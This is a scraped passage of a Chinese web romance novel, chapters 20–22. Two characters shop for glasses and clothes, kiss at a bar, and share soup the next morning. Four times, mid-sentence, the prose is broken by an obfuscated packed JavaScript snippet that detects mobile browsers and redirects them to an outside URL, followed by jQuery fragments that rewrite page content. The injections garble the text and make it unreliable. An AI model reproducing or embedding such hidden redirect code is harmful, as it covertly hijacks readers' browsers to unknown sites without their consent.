阕开霁坐直,驾驶座和副驾间两人不到半米的距离,他能清清楚楚看到闻根浓黑的眉毛,能看到他上眼睫一根耷拉着好像随时要掉下来的长睫毛,看到他眼睛下的泪痣,看到他鼻梁上被镜框压下去的红痕,甚至看到他耳垂上的小绒毛。 阕开霁看过这一切,好奇问他:“你现在看我是什么样的?” 死鱼眼努力聚焦,似乎想把面前的人看确切。但确实近视很严重,看不清具体的细节,一眼看过去 ,是皮肤的白、头发的深棕、殷红的嘴唇、还有…… 深海一样的眼睛。 眼睛看不真切,记忆和心跳却把细节一一补上。 闻根嘴唇微动。 阕开霁追问:“嗯?” 他回答:“很漂亮。” 阕开霁笑了下,给他带上眼镜。 把那根耷拉着随时会掉下来的睫毛揪掉,又学着他刚刚调整眼镜位置的样子,仔细调整好眼镜腿,手指不动声色拨过柔软耳廓,这才收手:“好了。” 红灯结束,阕开霁接着开车。 而坐在副驾的闻根,忍不住揉揉眼睛。 再搓搓发热的耳朵。 = 闻根的度数并没有增加,还是五百三十度。镜片依旧和之前一样,轻薄防蓝光的。 两人花很长时间选镜框。 阕开霁说要给闻根挑喜欢的,就让他一个个试了眼镜店的大多数镜框。 镜框没有镜片,闻根对着镜子看的时候,恨不得整张脸贴着镜子。 看得多了就挑花了眼,最后把眼镜一带上,就面朝阕开霁,等待阕开霁的评价。 最后挑了个透明TR材质的镜框,把镜片打磨好带上。 闻根带上眼镜,这才算是看到带着新眼镜的自己。 透明的材质一点都没黑框眼镜的沉闷,看上去轻盈通透。镜框不是很大,刚好眼睛一圈。 闻根对着镜子看了又看,忍不住翘起嘴角。 原来不带黑框眼镜是这样的。 不过…… 手指从透明镜框上拿开,摸到眼角。 这里,有颗痣吗? 闻根用力搓了搓那处皮肤,把皮肤搓红了,那颗小黑痣还在。他只能接受了这里有颗痣的事实。 只是内心有些疑惑。 一直到出了眼镜店,去餐厅吃饭。他还在想自己眼角什么时候有颗痣。 阕开霁就看他把眼角那处嫩肉搓得泛红,好像盛开的桃花。 透明镜框什么都遮不住,那颗小痣在粉白色中更加显眼。 注意到他的视线,闻根不好意思,闷闷说:“不知道什么时候多了颗痣。” 阕开霁:“一直都有啊。” 闻根:“啊?” 阕开霁:“从我见你第一面起,一直都有啊。” 闻根心里一颤,觉得那颗痣开始发烫。 他喃喃:“你……眼神很好。” 阕开霁:“……” 这是什么神奇的脑回路。自己眼神再好也不可能关注一个路人,如果不是上了心,眼神再好也不会把注意力浪费在陌生人身上。 但那时候自己和闻根确实也只是陌生人。 阕开霁哽了两秒,阴阳怪气:“我又不近视。” “真厉害。” 闻根羡慕,“我都近视五百多度了,近视六百度就是高度近视,可能会遗传。” 阕开霁冷笑了一下。 还遗传。 你还想得怪远。 都成同性恋了,遗传给谁啊。 闻根甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716883|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至没注意到他突然冷笑,只因为遗传两个字,想到一些八字还没一撇而且可能性非常低的事。脸更热了,他尽量把这些事抛到脑后,诚恳:“不近视就很好。” “我初中就开始近视了,高中的时候,班里三十六个人,只有两个人是完全不近视的。” “可能因为我不读书吧。” 阕开霁随口这么说。 “我成绩也不怎么好。” 闻根跟着附和。 阕开霁:“不是成绩不好,我不读书。高中都没上完。” 闻根愣了一下。 阕开霁看着他,等待他的反应。 像这种普通的好学生,会怎么看待自己呢? 闻根脑子木木的,没觉得有什么不对劲,只是问出自己最在意的事情:“正常人那时候都在读书,你不读书,那你那段时间在干什么?” 正常人应该在适当的时间做适当的事,如果不做,可以做什么? 阕开霁没想到他会这么问,思考了一阵:“玩呗。” 闻根:“什么?” “逃晚自习,去批发市场买些小首饰,再拿去夜市卖。批发市场的包装太简陋,我就自己带上,吸引别人买。赚到钱就买自己喜欢的东西,花出去,重新赚。” “中国对教育看得很重要,九年义务教育是上完了。但高中成绩不好,再加上有固定客户能赚到钱,我就没上了。” 闻根眼睛都亮了,感慨:“好厉害啊。” “我初中的时候每天都在上学。” 闻根想到自己的初中,声音暗淡下去,“就……两点一线,没什么优点,脑子笨成绩也不好,那时候只有我堂哥带我一起玩,他那时候还说要带我逃课去夜市吃小龙虾,但后来也没去成。” 阕开霁:“为什么没去成。” 闻根:“我家里不让。他们觉得只有坏小孩才逃课,还觉得夜市的东西都是垃圾食品不能多吃。” 但堂哥会去,每天玩得很开心,热烈张扬。还会揪着带着厚重黑框眼镜的闻根,让他不要做书呆子多出去走走,和自己一起去玩。 闻根还没完全下定决心,堂哥就去世了。 后来闻根一直也没去过。 阕开霁理所当然:“你现在又不上学,下了班想去就去呗。” 闻根愣一下:“自己去吗?” 阕开霁笑:“那我跟你一起?” 闻根嘴唇动了动,无数个回答在脑海里转过去,最后问阕开霁:“你现在还会去夜市吗?” 阕开霁摇头:“不去。” “现在夜市都是卖夜宵的,没什么好玩的。” “那你会玩什么?” 阕开霁看他:“你好奇?” 闻根有点好奇,但又觉得自己此刻的情绪并不是好奇二字就能概括的。 在单位写文案和公文,着笔质朴有力,但现在居然找不到一个合适的词语来形容。 闻根沉吟着不知道怎么说。 阕开霁又问了:“还是在意?” 怎么都想不到的词语被阕开霁说出来,闻根恍然大悟:“是在意。” 说完意识到自己说了什么,去看阕开霁。 阕开霁蓝灰色眼睛弯起来:“好啊。” “谢谢你的在意。” 20. 第 20 章 吃完饭两人在附近逛了逛。 阕开霁目标明确,直直往男装店走。 闻根一开始没领悟到他的意思,看她往男装店走,想拦住她,但他在阕开霁身后,一时拦不住,着急之下牵住阕开霁的衣角。 手指不经意间隔着一层T恤碰到阕开霁后腰。 很热。 他连忙收了手,先道歉:“对不起。” 又硬着头皮告诉阕开霁:“这是男装店。” 自己一个男人,逛男装店有什么好奇怪的。 明明都换了眼镜,怎么还这么瞎。 阕开霁内心无语,但看着耳垂泛粉表情诚恳的闻根,只是说:“给你挑新衣服。” 闻根那双死鱼眼微微放大,看上去有点活气。 阕开霁看着他,内心好像被鱼尾巴扫了一下,泛起层层涟漪。 他说:“别挑习惯的,挑喜欢的。” 闻根没想到阕开霁是给自己挑衣服,他没谈过恋爱,也没交好的女性朋友,上一个也就是唯一一个会给他挑衣服的女人是他妈。现在看着阕开霁,紧张得有些结巴:“会不会……太麻烦你了。” 阕开霁挑剔的看着他身上的衣服:“还好。” “别让我再看到你这些丑衣服——你应该是习惯,而不是喜欢吧?” 闻根低头看身上的衣服,更窘迫了:“我……不知道自己喜欢什么样的衣服。” “那就都试试。试得多了就知道了。” 于是就去男装店,从最简单的款式开始试。 男装其实也没多少花样,只要避开一些非常奇怪的版型,剩下的就全靠穿搭技巧和身材脸蛋。 一套一套试过去,穿好了就站在镜子前看效果。 和电视剧里那种穿上好看衣服就马上变了个人、从平凡丑小鸭马上惊艳全场的效果不同。 闻根甚至没觉得自己有什么变化,只觉得这件T恤穿着很舒服,这一套穿上去好像显得腿很长。 闻根就被阕开霁和店员围着,不停得试各种衣服。 有些喜欢,而有一些实在是太时髦了,闻根觉得可能和自己并不适配。 比如正在穿的这个衬衣。 导购员说得天花乱坠,什么哥特风,什么真丝布料。但闻根只觉得上面坠着的蕾丝有点扎,而且深V领口有点太低了。穿的时候就已经没法接受了,现在穿好了出来,更觉得羞耻。 阕开霁没说什么,只是沉沉看着他。 闻根没听到她的评价,以为她对这件衣服也没什么好评,自顾自去试衣间要把衣服换下来。 但这件衣服着实有点复杂,坠在领口的蕾丝边不仅只在领口,还顺着领口一路到下摆,穿的时候要把这条蕾丝从腰上绕过去,再穿过布料中间的一道环扣,在腰侧系结。 闻根看不到腰侧的结扣,摸到蕾丝就拽一下。 蝴蝶结没解开,反而变成了死扣。 单薄但布满花纹的蕾丝看上去柔软,实则纠缠在一起,闻根又不敢硬解,怕不小心把蕾丝上面的绣花拽破。 自己尝试了一会儿,没把结扣打开,反而弄得整个人都热了。 他实在没办法,把试衣间打开一条缝,问导购员:“能不能帮我解一下扣子?” 导购员脸上带着完美的笑容,闻言刚想点头并上面帮忙,就看到跟着对方一起来的那个长发帅哥先自己一步走上去。 试衣间的门只开着一条缝,他走进去,反手关上门。 导购员站在原地,踟蹰了片刻。她脸上依旧挂着完美笑容,默默收拾刚刚被闻根试过的衣服,只眼神忍不住往试衣间飘。 闻根没注意到来的人到底是谁,只闷头解腰侧的死结。 阕开霁进去时,就看到他拧腰侧身,腰被白色蕾丝带绕着,看上去细细一节,而深V的领口因为侧身动作敞开,露出大片白皙。 阕开霁伸手摸上蝴蝶结:“我来。” 闻根这才意识到来的人是阕开霁,整个人都红了。 他结结巴巴:“怎么……” “导购员呢?” 阕开霁:“她要整理你刚刚试过的衣服。” 闻根不怎么逛服装店,飞快接受这个设定。 但试衣间实在太小了,阕开霁一进来,两个人挤在一起,他能感觉到阕开霁身上的温度,还有他在自己腰间的大手。 虽然知道他是在帮自己解蝴蝶结,但实在是太不好意思了。 她能来帮自己挑衣服已经很麻烦她了,现在还要帮自己解蝴蝶结。而且男女授受不亲,现在两个人一起在这个小的地方,别人会不会误会什么…… 闻根脑子乱乱的,身体不受控制,好像被阕开霁手掌的温度烫到,不自觉的往前躲。 阕开霁把死结解开,眼看马上就弄好了,不理解闻根躲什么,伸手掐住他的腰:“别动。” ——她怎么不仅这么高这么壮,手这么大就算了,还这么有劲。 闻根下意识的反应被制住,整个人木偶一样僵直,任由阕开霁解开死结。 蕾丝带轻飘飘的,阕开霁刚松了手,丝带就从环扣里飘出来,衬衣下摆荡开,因为闻根拧身的动作,露出大片肌肤。 阕开霁这才发现,闻根还有腰窝。 小小的一凹,窝在后腰上,可能是因为刚刚接死扣太着急,闻根出了些汗,现在腰窝汗津津的,看上去闪着光。 而且……另一侧,自己正掐着闻根的腰,按照身体比例,自己的大拇指,现在就扣在腰窝上。 阕开霁控制不住把视线放在自己那只手上,好像能隔着衬衣看到这面的腰窝。 如果没有衬衣…… 闻根快速把飘起来的衬衣拽下去,又羞又窘:“解开了。” “谢谢。” 阕开霁收了手,姿态自然拉开试衣间的门走出去:“没事。” 闻根最后挑了三套新衣服。 两件T恤一件针织毛衣,一蓝一黑两条牛仔裤,还有一条灰色卫裤。 他觉得这三套是他喜欢,又是他能接受风格的衣服。 但结账时,阕开霁把那件哥特风的花哨衬衣也放上去了:“一起。” 闻根抿抿嘴,尝试提出异议:“我……不喜欢。” 阕开霁理所当然:“我喜欢。” 导购员心说谁问你了,又不是你穿,你喜欢有啥用。 却看要穿的闻根默了两秒,把衬衣放过去:“一起。” 导购员:“……” = 两点吃完饭后两人逛了一下午,买了很多衣服并买了些闻根之前从没想过要买的配饰。 比如各种帽子、鞋靴,比如男士挎包。 一下午飞快过去,太阳下山,六点多了。 闻根逛得脑子都木了,但整个人焕然一新,还有种骤然接触新世界的不适应和愉悦期待,问阕开霁:“现在吃完饭回家吗?” 阕开霁看变了个人似的闻根,翻了翻车上的小盒,从里面翻出条项链来,很自然给闻根带上。 闻根也就三岁之前带过长命锁 ,之后的脖子上只带过红领巾。现在冷不丁带上个项链,觉得有点重,控制不住垂头。 阕开霁看到他后颈拱起来的弧度,白皙皮肤下细细的一节骨头,还有放在后颈拨弄项链的细长手指。 他说:“带着吧,别摘。” 闻根就收了手,低头看项链,笨拙夸:“很好看。” 阕开霁笑了下,问他:“饿了吗?那我们回去吧。” “还好。” 闻根只是用自己的想法揣测接下来会干吗,对他来说,六点已经很晚了,吃晚饭回家八点多,就可以准备一下打算休息了。 但想到下午阕开霁和自己完全不同的生活方式,他询问,“你平时这时候会做什么?” “不知道。” 怎么会有人不知道平时这时候在干什么呢? 如果没下班这时候应该在忙工作,如果下了班还没到家这时候应该在通勤,如果到家这时候应该在吃饭。 好像所有正常人的生活都这么两点一线不生波澜,但阕开霁说不知道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716884|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他真的和自己完全不一样,是个非常不普通的人。 他的生活一定有很多起伏,过着非常不一样的生活。 闻根问:“那如果没有我,你这时候会干什么?” 如果今天不和闻根一起吃饭,自己会干什么? 会睡到下午才醒,随便吃些沙拉敷衍,健身,晚上去喝酒…… 他确定:“去喝酒。” 喝酒。 闻根也没怎么喝过,第一次喝是十八岁升学宴。后来在大学聚会的时候喝过一点,都是度数很低的啤酒,他不喜欢喝,总觉得那个味道很奇怪,自己也没主动喝过。 但今天,虽然只是跟着阕开霁换了眼镜买了新衣服,但对闻根来说,已经是很大的改变,他莫名期待更多。 而且就像早上说的那样,他想跟阕开霁一起去夜市玩,也在意阕开霁会做什么。如果阕开霁不去夜市而是去喝酒…… 闻根想了又想,确定:“那我们去喝酒吧。” = 阕开霁大部分时候去酒吧,都没有固定时间,也不是抱着去酒吧玩的想法去的。 他就是无聊,觉得自己的生活好像错了位。他不知道怎么脚踏实地好好生活,又没办法从刺激里找到快乐,所以喝点酒麻痹自己。 喝多了酒量上去,酒精也越来越没用,但他一时又找不到其他更有用的方法。 所以平时总喝点酒。 但这次带着闻根,闻根好像对去酒吧这件事很期待,死鱼眼甚至都亮起来了。 ——闻根也不能说是期待,更多的是紧张,还有在意。 他觉得做为普通人,喝酒已经是恶习了,去酒吧是很超过的事。 但他很在意阕开霁会做什么,而且今天已经做了这么多改变,那点未消散的激动蕴在心里,催促着他再去尝试些新事物。 不过…… 他认真告诉阕开霁:“我们先去吃点东西垫肚子吧,空腹喝酒会不会对身体不好。” 阕开霁:“嗯,对身体不好。” “你平时喝酒前都吃什么?” 阕开霁:“不吃。” 闻根哽了一下,声音轻轻的:“对身体不好。” 阕开霁这次只当没听见,但还是开车带闻根去吃东西。 吃完饭天彻底暗下去,阕开霁带闻根去酒吧。 酒吧七点营业,现在已经有了很多人,就在他们停车的时候,还有人三三两两进入。 闻根坐在车上,看酒吧招牌,和进出间酒吧里传来的彩光,有种即将进入异世界的紧张感。 阕开霁把车停好,突然偏头看了他一眼。 闻根还在看窗外,从倒影里看到阕开霁的目光,转过头来:“怎么了?” 阕开霁把他的眼镜摘下来,随手挂在自己T恤领口。 闻根什么都看不到,又问:“怎么了?” 阕开霁没说话,先伸手把他的安全带解开,又把车门打开:“走吧。” 闻根摸索着把这边车门也打开。 停车场的灯光暗淡,他失去眼镜不仅看不清,还因为东西骤然放大摸不准距离,把脚伸下去先摸索一下,确定踩到实地,这才走下去, 他温吞问阕开霁:“眼镜。” 阕开霁理所当然:“眼镜太呆了,看上去跟小学生一样。” 闻根好脾气:“没有眼镜看不清。” 模糊间看到阕开霁走到他面前。 垂下的手被牵住,阕开霁的手很热,手心是和白皙手背截然不同的粗糙感觉,有厚厚的茧。厚茧和坚硬的骨骼一起,让他的手显得很硬。 和闻根想象中的完全完全不一样。 但闻根只是心疼,手指忍不住摸了下阕开霁手心的茧。 人家都说女孩子的手会软,她的茧这么厚,一定是之前过得很辛苦。 阕开霁手心一痒,忍不住牵得更紧。 手心里闻根的手马上安分下来,再没有任何动静。 阕开霁拉着他往前走:“不用看,跟着我就好了。” 21. 第 21 章 从十三岁近视开始,闻根就谨遵医嘱好好佩戴眼镜,现在骤然失去眼镜,不仅看不清楚任何东西,还因为度数太高戴眼镜时看东西会小,现在失去眼镜,看到的一切都变得很大。 车很大,停车场的柱子很大,就连牵着自己的阕开霁,好像也变得更大只了。 他好像吃了毒蘑菇出现误入大人国幻觉的工蚁,只能跟着阕开霁往前走。 从停车场到酒吧。 酒吧的灯光同样黯淡,而且还是泛着暗红的彩光。 里面的人已经很多了,现在DJ放着旋律抓耳的音乐,酒吧喧杂吵闹。 闻根跟个睁眼瞎一样,明明什么都看不清,还是瞪着眼到处看。 酒吧男男女女都有,各个都很好看,在喝酒,在聊天,在随着旋律扭动身体。昏暗的灯光下,身体贴合在一起,亲密暧昧。 阕开霁把人拉到吧台,让调酒师给他挑了杯度数低的果酒。 果汁气泡水加冰一兑。 对阕开霁来说甚至不能算酒,就只是有点酒味的饮料。 但眼看着闻根抿了两口,死鱼眼开始模糊。 他本来就看不清,现在觉得身上热热的,眼前更是一片模糊。酒吧灯光太暗,他什么都看不清,只能看到大片不同色彩组成的团团。半懵半猜的猜这一团是人还是酒吧的装饰物。 唯一能确定的…… 是坐在他身边,色彩鲜艳的阕开霁。 他又抿了一口,看阕开霁。 酒吧的灯跟超市的灯光差不多,这么一照,所有人都跟加了滤镜一样,男帅女美,就连死鱼眼的呆子看上去也一点都不呆,灯光照过来,那柔顺的头发、长直睫毛,还有白衬衣下好看的背腰线条……跟漫画里走出来的干净学长一样。至于那双死鱼眼,喝了点酒眼里蕴着水汽,因为近视什么都看不清,还偏偏想看,只能眯着眼睛努力瞅,桃花眼半阖瞳孔漆黑,再加上眼下那颗泪痣,看上去鬼迷日眼,勾人得紧。 阕开霁忍不住摸T恤上挂着的眼镜,想给闻根把眼镜带上。 还不如不给他换眼镜呢,用那副丑丑的黑框眼镜遮住也没什么不好,总比现在…… 但闻根没喝醉,他只是看着阕开霁,反应有些迟钝。 镜片是透明的,镜框也是透明的,近视眼根本没发现阕开霁在摸他的眼镜,只注意到那只皮肤白皙的手在摸胸口那处。 他红了耳根,侧过头不再看阕开霁。 却忍不住喝了一大口的酒。 甜甜的,有桃汁的味道。 会让他想到之前阕开霁身上的甜桃香味。 闻根吨吨吨喝完了一杯酒,只觉得身上热热的。阕开霁看他把杯子放下,晃了晃杯子,没完全融化的冰块在杯子里碰撞,发出清脆声音。 阕开霁问:“还要吗?” 闻根反应有点迟钝,陷入短暂纠结。阕开霁看他,觉得有趣,声音都放低了:“喝醉了?” 酒吧太吵了,闻根听不到他说了什么,只看到那玫瑰花瓣一样的嘴唇张开又合上,颜色鲜艳,让他移不开眼。 死鱼眼一旦看直了,又显得很呆。 阕开霁确定,声音大了些:“你喝醉了。” 闻根听到了,他说:“没有。” 阕开霁笑:“醉鬼都会说自己没喝醉。” 闻根:“真没有。” 他揉了揉眼睛,又用手背贴脸颊,“就是有点热。” 阕开霁也摸了摸他的脸。 闻根能感觉到他指腹上的茧子,有点粗,贴在滚烫的脸颊上,微凉,刺刺得有点舒服。 闻根一动不动,看阕开霁。 阕开霁动作自然收了手,问他:“还喝吗?” 闻根点头:“想喝。” 阕开霁又给他点了杯酒。 调酒师开始调酒,动作华丽好看。 闻根却有点心不在焉,又用手背贴了贴脸颊。 音乐声还在响,身后突然传来嘈杂喧闹声。 闻根被声音吸引,回头看过去。 但灯光昏暗,近视度数太高根本什么都看不到,只能根据黑压压的一片和刚刚那些动静,猜测那边有很多人,看上去好像在玩游戏…… 眼睛突然被捂住。什么都看不到了,只能感觉到眼皮上有些粗糙的触感。闻根听到阕开霁声音微妙的询问:“你在看什么?” 闻根一五一十:“他们好像玩得很开心。” 原来酒吧是这样的啊,可以和好朋友一起喝酒,还能一起玩。看起来和其他地方没什么区别,但气氛很热闹,好像很有趣的样子。 眼睛被捂住,闻根没注意到阕开霁更加微妙的表情。 阕开霁回头看一眼。 确实玩得很开心。 一群人围在一起玩游戏,输了的人就两两结对抱在一起接吻,女生整个都坐到男生腿上了。 阕开霁收了手,同时把挂在T恤上的眼镜取下来,迅速给闻根带上。 闻根有点不适应的去扶眼镜,还没调整好眼镜位置,脑袋被阕开霁扶住。 阕开霁让他接着看那边,声音依旧微妙:“你看吧。” 闻根看了一眼,下意识偏头。 但脑袋被阕开霁扶住,根本动不了。 他闭眼,窘迫:“非礼勿视。” 阕开霁闷笑一声,松开他,顺手把眼镜摘下来,重新挂到自己领口。 眼前又是一片模糊,闻根脑子有点乱,摸到调酒师刚调好的酒,喝了两大口试图平复心情。 身边座位上多了个人。 女生穿着包臀裙,头发卷卷的,妆容精致,大方招呼:“帅哥,刚刚看你们一直在看我们那边,要和我们一起玩吗?” 闻根整个怔住,想到自己刚刚看到的场景,脸一下就红了。他下意识摆手:“我不……不是,我没看到。” 女生噗嗤一下笑出声:“没事我不是怪你,是不是隔太远才没看到?要不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716885|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐过去看仔细点?还能跟我们一起玩。” “我有个姐妹单身很久了,她刚好喜欢你这种类型的。你过去,我请你喝酒。” 闻根再次连连摆手:“不……不用,我……” 阕开霁插话:“他和我一起来的。” 女生看看闻根,再看看阕开霁,表情比刚刚阕开霁的表情还要微妙。但起身速度很快:“不好意思打扰了。” 闻根无意思考她的微妙从何而来,只是松了口气。 意识到什么,他又回头看了一眼。 阕开霁在一边阴阳怪气:“再看,再看人家又找过来了。” 闻根连忙回头,几分惊讶:“我不认识她。” 阕开霁点头。 “那她为什么要找我一起玩?” “玩玩就认识了。” 闻根表情也微妙起来,死鱼眼起了波澜:“那那些人,都是玩玩才认识的?” “可能吧。” “之前不认识,就一起……” “嗯。” 阕开霁似笑非笑,“怎么了?没法接受?” 闻根整个人都要红了:“这……这也可以吗?” 在闻根朴素的观念里,两个人就算互相喜欢,也需要花时间了解对方是个什么样的人,觉得合适了才可以开始下一步,至于接吻…… 他想到阕开霁玫瑰花瓣一样的嘴唇,觉得整个人都要发烫了。 “为什么不可以,就是来玩玩,出了门谁又不认识谁。” 闻根有点世界观被颠覆的震撼和茫然,下意识看阕开霁。 灯光实在是太暗了,他什么都看不到,目光自然放到颜色最深最能辨认出的地方——被酒精打湿的殷红嘴唇。 闻根不自觉抿了抿嘴。 阕开霁握着酒杯的手紧了紧。 他下意识靠过去。 那双死鱼眼就随着他的靠近而转移着,好像有着自己的想法,只是看着他。 阕开霁觉得自己也开始发热。 他捏着闻根的下巴。 闻根模模糊糊觉得这个姿势有点眼熟,很像偶像剧里男女主角接吻的前奏。 他觉得很不好,虽然自己喜欢阕开霁,阕开霁知道也让自己接着喜欢,但他好像还没完全调理好,这时候不能对阕开霁做这种事。 又忍不住想到刚刚看到的场景,想到阕开霁习以为常的话,又怀疑接吻对阕开霁来说是不是证明不了任何东西,她会不会觉得也就是玩玩…… 还没想好。 他听到阕开霁暗哑的声音:“闭眼。” 闻根不仅没闭眼,反而因为这句话回了神,近视五百多度的眼睛聚焦,扫过近在咫尺的阕开霁,眼里蕴着水汽,睫毛长直上下扫着,因为太紧张,眼下肌肉绷紧,那颗泪痣轻轻颤着。 他声音很低,含糊:“我看不见。” 但也不用看了。 阕开霁拉近最后一丝距离,吻上他的嘴唇。 22. 第 22 章 虽然之前滴酒不沾,但闻根酒量居然还不错,在酒吧喝了三杯酒,也没喝醉。 就是…… 很热。 从内到外的热,酒精从胃部一路烧到心里,让他怎么也排解不了的热。 身上热热的,脸上热热的,嘴唇……不仅热热的,还肿肿的。 闻根没带眼镜,不知道别人接吻前都“玩”了什么,但他和阕开霁省略了“玩”的步骤,莫名其妙总亲在一起。闻根被亲得晕乎乎的,喝了两口酒冷静下来,觉得自己不能这么不负责,但偏头看一眼阕开霁,就失去所有理智,又亲在一起。 他能感觉到阕开霁散下来的头发,发梢扫过自己的脸侧,洗发水的味道香香的。他还能感觉到阕开霁流苏耳坠打在自己耳朵上的冰凉,还能尝到阕开霁口腔里的酒味,比自己的烈很多,阕开霁亲得深了,他甚至会觉得辣嗓子。 闻根失去对环境的判断,甚至忘了时间的概念,不知道自己在哪儿,也不知道现在是什么时间,只能注意到身边的阕开霁,还有他和自己接吻过后颜色格外艳红的嘴唇。 然后就喝了很多酒,接了很多吻。 直到现在。 离开酒吧,没了昏暗的灯光和暧昧刺激的音乐,没了其他那些开放的人,现在坐在车里,前面还有个陌生的代驾司机。 闻根没被酒精灌醉的理智就回来了。 想到刚刚做了什么,他整个人陷入呆滞,呆呆看着车窗,宛若一条死鱼。 但车窗上不仅有窗外不停倒退的景色,还有倒映出来的自己的影子……还有,自己身后的阕开霁。 阕开霁还是没把眼镜给他,他看不真切。只能看到阕开霁散在肩膀上的头发,还有……轮廓深邃的侧脸。 嘴唇也和自己的一样,很红很肿。鼻梁高高的。 刚刚好像有一次是自己主动,结果自己像个呆子一样直直撞上去,鼻子碰到阕开霁的鼻梁。 骨头那么硬,闻根当时就觉得鼻子一酸,眉心都开始疼了。 但阕开霁也只是退开一点,又凑过来,微微偏头亲他。 高挺鼻梁就蹭着他的脸侧,好像另一个亲吻。 后来阕开霁还用鼻尖蹭他眼睛下面那块地方。 好像就是那颗痣的位置。 闻根觉得被蹭到的地方开始痒,他忍不住摸一下,又实在控制不住的,偏头看阕开霁。 对上阕开霁的视线。 闻根不知道怎么办才好,呆呆的和阕开霁对视。 阕开霁笑了下,摸他的睫毛:“感觉怎么样?” 闻根脑子一片糊涂,找不到什么合适的词语概括。 他没说,阕开霁也没追问。 就这么一路回到家,在闻根家里烧热水泡了蜂蜜水喝下,之后阕开霁就回去了。 没喝醉,但也有点晕晕乎乎的,再加上实在太晚了,闻根甚至没来得及多想什么,洗漱完倒头就睡了。 第二天醒来后知后觉的头疼,不严重,又不容忽视。 好在今天不用上班,闻根心安理得躺在床上。 昨天发生的一切不断在脑海里重播回放。 闻根觉得自己又开始脸热了,就连宿醉的状况好像也更严重了。 他摸出手机,给中药世家继承人发消息:“神医。” 他絮絮叨叨把昨天的事和盘托出。 一起换眼镜,一起吃饭,一起买衣服。对方从小就厉害早早就知道兴趣爱好并做出了选择,对方手心的茧,还有…… “她亲了我。” “怎么办啊?她应该没喝醉,晚上回家还很清醒。我也没喝醉,我知道我做了什么。” “我想负责,但她会不会就像酒吧其他人一样觉得这没什么啊。” “怎么办啊。” 神医没有回复他。 闻根自己躺在床上想入非非了一会儿,又摸出手机,开始搜索宿醉解酒可以吃什么。 九点。 阕开霁睁眼,打开手机先看到二十多条消息。 大号小号都有,都是同一个人发过来的。 阕开霁先看神医那个号。 闻根的心路历程一览无余。 他忍不住勾起嘴角,又点去大号。 闻根问他:“你醒了吗?” “我今天醒来有点头疼,你还好吗?” 那是二十分钟前的事情了。 阕开霁很久没因为喝醉酒第二天醒来难受了,现在看闻根这么说,回复:“我给你买点药。” 闻根马上回复他:“不用了,我现在好很多了。” 又问阕开霁,“你刚醒吗?” 阕开霁记得药箱里好像有解酒药,但翻出来一看,过期两年多了。 摸出手机想点外卖,但先看到闻根的消息。 是一张照片。 一小锅番茄鸡蛋疙瘩汤。番茄的红和鸡蛋的黄,加上面疙瘩煮成一锅,还撒了一把小葱花,卖相并不是很好看,但是……看上去热气氤氲,香味好像能顺着手机飘出来。 闻根问:“你要吃一点吗?” = 疙瘩汤卖相不好,但味道…… 闻根小口喝着,窘迫:“味道淡了。” 他也不怎么会做饭,平时最多也就是给自己煮个东西,现在第一次煮两人的份,拿捏不好调料分量,味道很淡。 但阕开霁穿着深蓝色带暗纹的睡衣,看上去跟城堡里娇生惯养的公主一样,别别扭扭坐在他的小凳子上,在客厅的茶几上喝疙瘩汤。 闻根再一次直观面对两人的不同。 但阕开霁嚼着面疙瘩,很满足的样子:“很好喝啊,怎么做的。” 闻根认认真真告诉他:“就是把番茄炒出汁,加水煮开,把面粉搅成面絮倒进去,然后加上盐和胡椒粉,打进去鸡蛋,再撒上葱花就好了。” “我今天盐放少了,你要是觉得味道淡的话……” 闻根去厨房翻了翻,捧出个玻璃罐子:“我妈做的辣椒油,你可以放一点。” “不过早上吃太辣对胃不好吧……” 一句话没说完,闻根就看阕开霁拧开罐子,挖了一大勺放进去。 闻根的表情奇怪起来。 阕开霁把罐子拧好,把辣椒油拌开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716886|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着吃饭。 闻根小心:“不辣吗?” “还好。” 阕开霁很给面子的夸,“疙瘩汤好喝,辣椒油也很香。” 